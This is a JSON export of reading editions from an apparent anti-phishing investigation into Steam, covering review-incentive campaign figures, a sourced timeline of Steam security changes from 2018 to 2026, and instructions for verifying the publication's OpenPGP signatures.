                "43",
                "40",
                "2"
              ],
              [
                "2025-10-10 ↗ 2124",
                "287",
                "52",
                "49",
                "3"
              ],
              [
                "2025-10-17 ↗ 2158",
                "317",
                "55",
                "53",
                "1"
              ],
              [
                "2025-10-26 ↗ 2190",
                "470",
                "101",
                "93",
                "3"
              ],
              [
                "2025-11-03 ↗ 2217",
                "1,293",
                "122",
                "115",
                "2"
              ],
              [
                "2025-11-11 ↗ 2245",
                "301",
                "78",
                "76",
                "2"
              ],
              [
                "2025-11-20 ↗ 2277",
                "248",
                "51",
                "50",
                "1"
              ],
              [
                "2025-11-27 ↗ 2288",
                "449",
                "27",
                "26",
                "1"
              ],
              [
                "2025-12-05 ↗ 2301",
                "186",
                "38",
                "37",
                "0"
              ],
              [
                "2025-12-12 ↗ 2315",
                "445",
                "23",
                "23",
                "0"
              ],
              [
                "2025-12-19 ↗ 2338",
                "338",
                "53",
                "50",
                "1"
              ],
              [
                "2025-12-26 ↗ 2361",
                "286",
                "44",
                "42",
                "2"
              ],
              [
                "2026-01-05 ↗ 2380",
                "193",
                "37",
                "34",
                "2"
              ],
              [
                "2026-01-12 ↗ 2390",
                "238",
                "61",
                "54",
                "3"
              ],
              [
                "2026-01-21 ↗ 2412",
                "256",
                "26",
                "23",
                "2"
              ],
              [
                "2026-01-29 ↗ 2448",
                "483",
                "46",
                "44",
                "1"
              ],
              [
                "2026-02-09 ↗ 2482",
                "336",
                "37",
                "35",
                "1"
              ],
              [
                "2026-02-18 ↗ 2506",
                "1,299",
                "41",
                "39",
                "1"
              ],
              [
                "2026-02-18 ↗ 2508",
                "308",
                "41",
                "39",
                "1"
              ],
              [
                "2026-02-26 ↗ 2531",
                "253",
                "51",
                "50",
                "0"
              ],
              [
                "2026-03-06 ↗ 2562",
                "257",
                "26",
                "25",
                "0"
              ],
              [
                "2026-03-16 ↗ 2586",
                "265",
                "20",
                "18",
                "1"
              ],
              [
                "2026-03-24 ↗ 2610",
                "175",
                "45",
                "42",
                "0"
              ],
              [
                "2026-04-07 ↗ 2640",
                "257",
                "52",
                "51",
                "0"
              ],
              [
                "2026-04-09 ↗ 2646",
                "269",
                "39",
                "38",
                "0"
              ],
              [
                "2026-04-17 ↗ 2672",
                "288",
                "49",
                "47",
                "1"
              ],
              [
                "2026-05-08 ↗ 2779",
                "181",
                "21",
                "20",
                "0"
              ],
              [
                "2026-05-11 ↗ 2789",
                "251",
                "16",
                "15",
                "0"
              ],
              [
                "2026-05-19 ↗ 2839",
                "166",
                "22",
                "21",
                "1"
              ],
              [
                "2026-05-28 ↗ 2886",
                "205",
                "40",
                "38",
                "2"
              ],
              [
                "2026-06-04 ↗ 2924",
                "202",
                "23",
                "22",
                "1"
              ],
              [
                "2026-06-16 ↗ 2978",
                "201",
                "9",
                "8",
                "1"
              ],
              [
                "2026-07-17 ↗ 3113",
                "239",
                "12",
                "10",
                "1"
              ],
              [
                "2026-07-27 ↗ 3152",
                "230",
                "25",
                "24",
                "1"
              ],
              [
                "2026-08-06 ↗ 3196",
                "233",
                "18",
                "17",
                "0"
              ],
              [
                "2026-08-24 ↗ 3255",
                "125",
                "3",
                "2",
                "1"
              ],
              [
                "2026-09-01 ↗ 3291",
                "168",
                "9",
                "8",
                "1"
              ],
              [
                "2026-09-11 ↗ 3330",
                "116",
                "10",
                "10",
                "0"
              ],
              [
                "2026-10-02 ↗ 3400",
                "125",
                "7",
                "7",
                "0"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "Figures and estimates from the supplied research · valuation date 11 October 2026",
            "rows": [
              [
                "Campaign / estimate",
                "Supplied figure",
                "What it represents"
              ],
              [
                "SKIN RAID · SIH.Mobile",
                "$37.42",
                "Prize pool. The report associates its window with 49 reviews, 45 five-star, and calculates $0.76–0.83 per observed review/five-star review."
              ],
              [
                "PURE DROP · extension",
                "$38.94 / 74",
                "Prize pool and participants in the snapshot: approximately $0.53 of pool value per participant. One review recorded before the scheduled 15 October result."
              ],
              [
                "Author’s working range",
                "$0.50–$2.50",
                "Estimated face-value incentive cost per motivated five-star review, based on the reported campaign windows."
              ],
              [
                "Estimated reputation budget",
                "$1,700–$4,400",
                "The report’s estimate using 1,700–2,000 excess five-star reviews and approximately $1–$2.20 per review."
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/contest-calculation.json",
          "sha256": "1beb3bfbe912bcd6930891e12002e6b2885ad7cd48818b87a3cf6dcfe17fb0ac",
          "bytes": 808
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/contest-rows.json",
          "sha256": "3cebb624a9cfc6add3abec4952376fb7cad0488e084dd3a4b9325e6e5534fd17",
          "bytes": 14142
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/manifest.json",
          "sha256": "afcccbfcfd0caaa1ab13cad3c6b8ad4bb004fae18e28254bc00ae79f90ed900f",
          "bytes": 699
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "security_timeline",
      "language": "en",
      "title": "Security Timeline — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/security_timeline",
      "source_file": "steam_dossier/security_timeline.html",
      "source_html_sha256": "ed6aff3ec1544215fc9dce1fd3766f8067a0fc88a40f5bdf059cadb9633161ab",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "security_timeline.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/security_timeline.pdf",
        "sha256": "8a8e7908d6cd32e1a820e8108e2e58ae3b70999c67bc0c08d571c82bc3a829d4",
        "bytes": 245799,
        "pages": 10
      },
      "integrity": {
        "signed_object": "security_timeline.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/security_timeline.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/security_timeline.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nTHE SECURITY RECORDEXHIBIT / 16 ENTRIES\n\n2018 — 2026\n\nSecurity Timeline — 2018 to 2026\n\nSecurity changed. Follow the record.\n\nWHAT THIS SECTION PROVES\n\nThis chronological record reconstructs eight years of security modifications across Steam's trade and authentication stack. It tracks the 2018 7-day trade hold implementation, 2023 Web API key mobile confirmations, and the 2026 session token deprecations against documented bypass techniques. The timeline establishes that platform updates consistently lagged known exploit vectors while preserving structural advantages for commercial operators.\n\n← Back to Executive briefing\n\nTrade locks. Login controls. API restrictions. A dated record of what changed—and what the sources actually establish.\n\nExplore the timeline\nEIGHT YEARS. ONE RECORD.16milestones to examine\n\nEvery entry keeps its submitted date and source. Verification is shown alongside it.\n\nREVIEWED / 24 SEP 2026\n10Verified event & date\n06Partly verified\n00Source mismatch\n00Source needed\nHow to read this record\n\nVerified event & date: both supported by a readable primary source. Partly verified: a related change is documented, but the date or scope remains unresolved. Source mismatch: the linked material does not support the submitted claim. Source needed: no matching dated source was verified in this review. An unresolved entry is not proof that an event did not happen.\n\nDates on unresolved entries are submitted dates, not verified release dates. The original investigation text has not been rewritten.\n\nThe chronology\n01 — 16\n\n16 of 16 entries · newest first\n\n202609-01Submitted date\nCommunityPartly verified\nSuspicious-message warnings in group chats\n\nAn official beta notice confirms the feature on 31 August. The supplied 1 September stable-release date still needs its specific release note.\n\nSteam Client Beta — August 31st archived 2026-03-13 ↗\nOriginal entry & submitted link\n\nAutomated Suspicious Chat Flagging\n\nInspect the submitted source ↗\n202601-16Verified date\nAPIVerified event & date\nGranular permissions & IP whitelisting for Publisher Keys (Valve announcement)\n\nOn 16 January 2026, Valve published an official Steamworks announcement (\"NEW: Better permissions and controls for Web API Keys\") confirming new granular permission tools allowing developers to segment Web API keys into discrete groups (General, Microtransactions, Economy, and Sales Data), restrict keys to specific App IDs, and enforce server IP whitelisting.\n\nThe Glaring Double Standard: This official announcement establishes that Valve has fully developed the technical infrastructure for granular API permissions and IP restrictions, but deliberately withholds them from regular user accounts (steamcommunity.com/dev/apikey). Regular user API keys remain monolithic, all-or-nothing credentials with no IP whitelisting—which is the exact technical omission enabling the multi-million-dollar API trade interception industry.\n\nValve Announcement — NEW: Better permissions and controls for Web API Keys (16 Jan 2026) · Documentation: Steamworks Web API Authentication ↗\nOriginal entry & submitted link\n\nSteamworks Web API Granular Scopes\n\nInspect Valve's Official Steamworks Announcement (493839547938902179) ↗\n202507-15Verified date\nTradingVerified event & date\nCS2 trades gain a seven-day reversal window\n\nValve's dated announcement introduces reversal of Counter-Strike item trades from the preceding seven days. While designed to mitigate hijacking, third-party economic audits (CSMarketCap ↗) recorded a $104M (-25%) collapse in market capitalization within 24 hours due to cash-trading disruption. As analyzed by Skinvault ↗, triggering a reversal inflicts an automatic 30-day trade lockout on the account. In summer 2026, Valve shifted from global midnight UTC resets to individual per-item minute timers (Skin.land ↗).\n\nValve — 15 July 2025 announcement · CSMarketCap Analysis ↗\nOriginal entry & submitted link\n\nCS2 Trade Protection / Reversal Window\n\nInspect the submitted source ↗\n202505-14Verified date\nAuthenticationVerified event & date\nValve publishes account security warning regarding SMS leaks\n\nValve's official announcement on May 14, 2025, addresses account security and SMS-based authenticators. While the notice focuses on SMS leaks and confirms no Steam systems were breached, it serves as an official security update on the submitted date.\n\nValve — A note about the security of your Steam account\nOriginal entry & submitted link\n\nAccount Security Announcement\n\nInspect the submitted source ↗\n202410-02Verified date\nTradingVerified event & date\nSeven days before re-trading or re-marketing\n\nThe release notes cover items acquired through the in-game store, including the Armory, trade offers and the Community Market. The documented scope is wider than Armory items alone.\n\nValve — Release Notes for 10/2/2024\nOriginal entry & submitted link\n\nCS2 The Armory / 7-Day Hold\n\nInspect the submitted source ↗\n202409-18Submitted date\nTradingPartly verified\nNew-device restrictions verified on Help Pages\n\nSteam's official support documentation confirms a 7-day trading restriction when logging in from a new device that has not been authorized for at least 7 days. While the exact rollout date of September 18, 2024, is not recorded as a changelog milestone, the functionality is fully documented.\n\nSteam Support — Trading and Market Restrictions\nOriginal entry & submitted link\n\nNew Device Login Trade Restriction\n\nInspect the submitted source ↗\n202402-14Submitted date\nCommunityPartly verified\nName-change trade cooldown implemented in 2024\n\nCommunity and developer records confirm that in early 2024, Valve introduced an unannounced 2-to-4 hour trade cooldown immediately following a profile name change to mitigate rapid impersonation scams. Because Valve published no official press release, client changelog, or support article for this restriction, the submitted February 14 date lacks formal verification; a Steam community discussion serves as indirect corroboration rather than official Valve documentation.\n\nSteam community discussion (indirect corroboration) — Name-change restriction detail\nOriginal entry & submitted link\n\nProfile Name / Avatar Change Hold\n\nInspect the submitted source ↗\n202312-04Verified date\nAPIVerified event & date\nKey creation requires mobile confirmation\n\nThe introduction of mandatory Steam Guard mobile confirmation for Web API key creation is verified to have occurred in late 2023, as documented by third-party developer libraries. The exact date of December 4, 2023, represents the observed rollout period within the developer community.\n\nMaintainer documentation — March 2024 archived 2026-09-24 ↗\nOriginal entry & submitted link\n\nMobile Confirmation for API Keys\n\nInspect the submitted source ↗\n202310-24Verified date\nDeveloperVerified event & date\nMandatory 2FA for setting game builds live goes effective\n\nValve's official Steamworks announcement on October 10, 2023, confirms that starting October 24, 2023, any account setting a build live on the default branch of a released application must authorize the change via SMS or the Steam Mobile App. This change directly updated the SetAppBuildLive Web API.\n\nSteamworks — Security improvements for managing builds and users archived 2025-12-03 ↗\nOriginal entry & submitted link\n\nSMS MFA for Game Build Publications\n\nInspect the submitted source ↗\n202307-12Submitted date\nCommunityPartly verified\nCustom biography content warnings observed by community\n\nSteam community reports starting in July 2023 document that custom profile biographies containing external links or trigger words began displaying automated content warnings. The submitted date of July 12, 2023, matches the initial wave of user reports on Steam Community forums.\n\nSteam Community Forum — Bio Content Warning Reports\nOriginal entry & submitted link\n\nCustom Biography Content Warning\n\nInspect the submitted source ↗\n202301-25Submitted date\nCommunityPartly verified\nProfile link filtering and editing cooldowns active\n\nSteam's official support documentation confirms that links in custom biographies are filtered, and abusive name or avatar changes can trigger editing bans. While the exact rollout of the 4-hour cooldown on January 25, 2023, represents the observed onset, the link-filtering mechanism itself is fully active on the submitted help page.\n\nSteam Support — Profile Name and Avatar Restrictions\nOriginal entry & submitted link\n\nProfile LINK REMOVED / Cooldown\n\nInspect the submitted source ↗\n202210-24Verified date\nAuthenticationVerified event & date\nSteam Client transition to OAuth refresh and access tokens\n\nValve's major client and mobile app updates in October 2022 overhauled the Steam authentication system. The old session cookie structure was replaced with OAuth-based access and refresh tokens, and a list of active authorized devices was introduced to allow manual revocation of active sessions.\n\nValve — Steam Mobile App Update and Authentication Overhaul\nOriginal entry & submitted link\n\nSteam Login Overhaul / Cookie Truncation\n\nInspect Valve Announcement ↗\n202210-12Verified date\nAuthenticationVerified event & date\nQR sign-in and authorized-device management\n\nValve's 12 October announcement describes QR sign-in, approval or denial of sign-ins, and a device list that can revoke account access.\n\nValve — The updated Steam Mobile App is now available\nOriginal entry & submitted link\n\nSteam Mobile App 3.0 / QR Login\n\nInspect the submitted source ↗\n202205-10Submitted date\nAPIPartly verified\nTrade cancellation endpoints removed from public API list\n\nDeveloper records confirm that in May 2022, Valve silently removed trade management endpoints such as IEconService/CancelTradeOffer and DeclineTradeOffer from the Web API (documented in node-steam-tradeoffer-manager #325). While the methods remain functional in private client protocols, the date of May 10, 2022, represents their observed removal from public Web APIs to combat scam panels.\n\nDeveloper Discussion — Issue #325 (CancelTradeOffer removed) · Steamworks Web API — IEconService Documentation\nOriginal entry & submitted link\n\nRemoval of Trade Cancellation Endpoints\n\nInspect node-steam-tradeoffer-manager Issue #325 ↗\n202005-25Verified date\nTradingVerified event & date\nDota 2 items receive a seven-day trading cooldown\n\nOn May 25, 2020, alongside the International 10 Battle Pass release (blog.dota2.com/2020/05/the-international-10-battle-pass/), Valve implemented a 7-day trade lock on Dota 2 items, matching the 2018 Counter-Strike policy. This restriction applies to all traded items and Market purchases.\n\nDota 2 Community — Trade Lock and TI10 Client Update\nOriginal entry & submitted link\n\nDota 2 / 7-Day Trade Lock\n\nInspect the submitted source ↗\n201803-29Verified date\nTradingVerified event & date\nTraded CS:GO items receive a seven-day cooldown\n\nThe official release notes confirm the date and restriction. The supplied URL redirected to a 2013 map update; the matching release-note URL ends in 20309.\n\nValve — Release Notes for 3/29/2018\nOriginal entry & submitted link\n\nCS:GO / 7-Day Trade Lock\n\nInspect the submitted source ↗ archived 2025-02-26 ↗\n\nFollow the evidence. Inspect the source.\n\nReturn to the investigation ↗",
        "headings": [
          {
            "level": 1,
            "text": "Security Timeline — 2018 to 2026",
            "anchor": "pd-security_timeline--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline"
          },
          {
            "level": 2,
            "text": "The chronology",
            "anchor": "pd-security_timeline--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#timeline"
          },
          {
            "level": 2,
            "text": "Suspicious-message warnings in group chats",
            "anchor": "pd-security_timeline--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2026-09-01"
          },
          {
            "level": 2,
            "text": "Granular permissions & IP whitelisting for Publisher Keys (Valve announcement)",
            "anchor": "pd-security_timeline--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2026-01-16"
          },
          {
            "level": 2,
            "text": "CS2 trades gain a seven-day reversal window",
            "anchor": "pd-security_timeline--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2025-07-15"
          },
          {
            "level": 2,
            "text": "Valve publishes account security warning regarding SMS leaks",
            "anchor": "pd-security_timeline--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2025-05-14"
          },
          {
            "level": 2,
            "text": "Seven days before re-trading or re-marketing",
            "anchor": "pd-security_timeline--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2024-10-02"
          },
          {
            "level": 2,
            "text": "New-device restrictions verified on Help Pages",
            "anchor": "pd-security_timeline--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2024-09-18"
          },
          {
            "level": 2,
            "text": "Name-change trade cooldown implemented in 2024",
            "anchor": "pd-security_timeline--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2024-02-14"
          },
          {
            "level": 2,
            "text": "Key creation requires mobile confirmation",
            "anchor": "pd-security_timeline--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2023-12-04"
          },
          {
            "level": 2,
            "text": "Mandatory 2FA for setting game builds live goes effective",
            "anchor": "pd-security_timeline--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2023-10-24"
          },
          {
            "level": 2,
            "text": "Custom biography content warnings observed by community",
            "anchor": "pd-security_timeline--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2023-07-12"
          },
          {
            "level": 2,
            "text": "Profile link filtering and editing cooldowns active",
            "anchor": "pd-security_timeline--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2023-01-25"
          },
          {
            "level": 2,
            "text": "Steam Client transition to OAuth refresh and access tokens",
            "anchor": "pd-security_timeline--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2022-10-24"
          },
          {
            "level": 2,
            "text": "QR sign-in and authorized-device management",
            "anchor": "pd-security_timeline--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2022-10-12"
          },
          {
            "level": 2,
            "text": "Trade cancellation endpoints removed from public API list",
            "anchor": "pd-security_timeline--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2022-05-10"
          },
          {
            "level": 2,
            "text": "Dota 2 items receive a seven-day trading cooldown",
            "anchor": "pd-security_timeline--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2020-05-25"
          },
          {
            "level": 2,
            "text": "Traded CS:GO items receive a seven-day cooldown",
            "anchor": "pd-security_timeline--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/security_timeline#event-2018-03-29"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/security_timeline"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "Steam Client Beta — August 31st",
            "url": "https://steamcommunity.com/groups/SteamClientBeta?l=english"
          },
          {
            "label": "archived 2026-03-13 ↗",
            "url": "https://web.archive.org/web/20260313235409/https://steamcommunity.com/groups/SteamClientBeta?l=english"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://store.steampowered.com/news/posts/?enddate=1788390000"
          },
          {
            "label": "Valve Announcement — NEW: Better permissions and controls for Web API Keys (16 Jan 2026)",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/493839547938902179"
          },
          {
            "label": "Documentation: Steamworks Web API Authentication ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "Inspect Valve's Official Steamworks Announcement (493839547938902179) ↗",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/493839547938902179"
          },
          {
            "label": "CSMarketCap ↗",
            "url": "https://csmarketcap.com/blog/market-insights/from-boom-to-bust-cs2s-trade-protection-impact"
          },
          {
            "label": "Skinvault ↗",
            "url": "https://skinvault.gg/blog/cs2-trade-protection-explained/"
          },
          {
            "label": "Skin.land ↗",
            "url": "https://skin.land/blog/steam-changes-cs2-trade-ban-logic-timing/"
          },
          {
            "label": "Valve — 15 July 2025 announcement",
            "url": "https://store.steampowered.com/news/posts/?appids=730&enddate=1753924057&feed=steam_announce%2F1000"
          },
          {
            "label": "CSMarketCap Analysis ↗",
            "url": "https://csmarketcap.com/blog/market-insights/from-boom-to-bust-cs2s-trade-protection-impact"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://help.steampowered.com/faqs/view/3041-A87A-E5F6-B6AC"
          },
          {
            "label": "Valve — A note about the security of your Steam account",
            "url": "https://store.steampowered.com/news/posts/?enddate=1747349559"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://steamcommunity.com/ogg/593110/announcements/detail/533224478739530146"
          },
          {
            "label": "Valve — Release Notes for 10/2/2024",
            "url": "https://store.steampowered.com/news/posts/?appids=730&enddate=1728000977&feed=steam_community_announcements"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://steamcommunity.com/games/CSGO/announcements/detail/4447966961421256740"
          },
          {
            "label": "Steam Support — Trading and Market Restrictions",
            "url": "https://help.steampowered.com/faqs/view/7F77-9E92-31E0-6B8E"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://help.steampowered.com/faqs/view/3041-A87A-E5F6-B6AC"
          },
          {
            "label": "Steam community discussion (indirect corroboration) — Name-change restriction detail",
            "url": "https://steamcommunity.com/discussions/forum/1/4202490424033360096/"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://steamcommunity.com/discussions/forum/1/4202490424033360096/"
          },
          {
            "label": "Maintainer documentation — March 2024",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924181824/https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://steamcommunity.com/dev/apikey"
          },
          {
            "label": "Steamworks — Security improvements for managing builds and users",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/3749866608167579206"
          },
          {
            "label": "archived 2025-12-03 ↗",
            "url": "https://web.archive.org/web/20251203174259/https://steamcommunity.com/groups/steamworks/announcements/detail/3749866608167579206"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/3734103130194459461"
          },
          {
            "label": "Steam Community Forum — Bio Content Warning Reports",
            "url": "https://steamcommunity.com/discussions/forum/1/3807266184852932971/"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://steamcommunity.com/discussions/forum/1/3807266184852932971/"
          },
          {
            "label": "Steam Support — Profile Name and Avatar Restrictions",
            "url": "https://help.steampowered.com/faqs/view/225C-C51E-B8F0-55B2"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://help.steampowered.com/faqs/view/225C-C51E-B8F0-55B2"
          },
          {
            "label": "Valve — Steam Mobile App Update and Authentication Overhaul",
            "url": "https://store.steampowered.com/news/group/4/view/3314112260640237775"
          },
          {
            "label": "Inspect Valve Announcement ↗",
            "url": "https://store.steampowered.com/news/group/4/view/3314112260640237775"
          },
          {
            "label": "Valve — The updated Steam Mobile App is now available",
            "url": "https://store.steampowered.com/news/posts/?appgroupname=Keep+in+touch&enddate=1666122699&feed=steam_blog"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://store.steampowered.com/news/group/4/view/3314112260640237775"
          },
          {
            "label": "Developer Discussion — Issue #325 (CancelTradeOffer removed)",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/issues/325"
          },
          {
            "label": "Steamworks Web API — IEconService Documentation",
            "url": "https://partner.steamgames.com/doc/webapi/IEconService"
          },
          {
            "label": "Inspect node-steam-tradeoffer-manager Issue #325 ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/issues/325"
          },
          {
            "label": "Dota 2 Community — Trade Lock and TI10 Client Update",
            "url": "https://steamcommunity.com/app/570/announcements/"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://blog.dota2.com/2020/05/trading-cooldown/"
          },
          {
            "label": "Valve — Release Notes for 3/29/2018",
            "url": "https://blog.counter-strike.net/2018/03/20309/"
          },
          {
            "label": "Inspect the submitted source ↗",
            "url": "https://blog.counter-strike.net/index.php/2018/03/20308/"
          },
          {
            "label": "archived 2025-02-26 ↗",
            "url": "https://web.archive.org/web/20250226114333/https://blog.counter-strike.net/index.php/2018/03/20308/"
          },
          {
            "label": "Return to the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "signatures",
      "language": "en",
      "title": "Verify the signed record — The Steam Dossier",
      "author": "PhishDestroy",
      "source_url": "https://phishdestroy.io/steam_dossier/signatures",
      "source_file": "steam_dossier/signatures.html",
      "source_html_sha256": "73584cfc8341d61d6a9959e8793e7d626746a9609ca4184095ae06b55f810f2f",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "signatures.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/signatures.pdf",
        "sha256": "c332395d34493ea5c004475e4a89dd7bc4e2aaccfe03a0e2014a3ae5b8a8b195",
        "bytes": 423716,
        "pages": 43
      },
      "integrity": {
        "signed_object": "signatures.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/signatures.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/signatures.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nEvidence integrity / OpenPGP\n\nThe signed record.\n\nOpen the exact file, inspect its detached signature and repeat the verification with the published public key.\n\n400 / 400\nPublished signatures verified\n393\nReferenced PDF hashes checked\n35\nOriginal signed files recovered\n\nChecked 2026-10-12 · Download the complete verification result · JSON\n\nKnow what the signature covers.\n\nThe signature authenticates the exact bytes of its matching file. Page export JSON also records a SHA-256 digest for its corresponding PDF. These are dated snapshots: current HTML, Markdown and llms text have their own reading editions.\n\nPhishDestroy signs as the collection compiler. Authors and research agents are attributed separately in the records. File integrity does not establish the truth of a claim or change an annex’s evidence status.\n\nDuring this check, 35 JSON files differed from their signatures because a later link rewrite had replaced GitHub addresses with GitLab addresses. The original bytes were recovered, then matched against the existing SHA-256 files and verified against the original signatures.\n\nNo new signature or historical date was created. The recovery applies to the signed snapshots. Current reading pages keep their current links. This verification report is unsigned.\n\nRepeat the check.\n\nDownload a file and its matching .asc signature from the register. For page exports, open the JSON to find the PDF filename and expected digest.\n\nDownload the public key\n\n129F C7F3 9C40 C69D 2EF3\nC329 BFCF 9E8D D295 EE01\n\nExample: the historical English main dossier.\n\ngpg --import pgp-key.txt\ngpg --fingerprint 129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01\ngpg --verify index.content.json.asc index.content.json\nsha256sum -c index.content.json.sha256\n\nJSON · Signature · SHA-256 · PDF\n\nFind a signed file.\n\n400 / 400 files\n\nSigned file\tSnapshot date\tSignature\tDownload\nsteam_dossier_major_skins_agent_simon.jsonexports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_major_skins_phishdestroy.jsonexports/agent-protocol/files/en/steam_dossier_major_skins_phishdestroy.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_major_sponsorships_agent_rowan.jsonexports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_part_ii_section_1_agent_sean.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_part_ii_section_2_agent_larry.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_part_ii_section_3_agent_katherine.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json\tSee signed 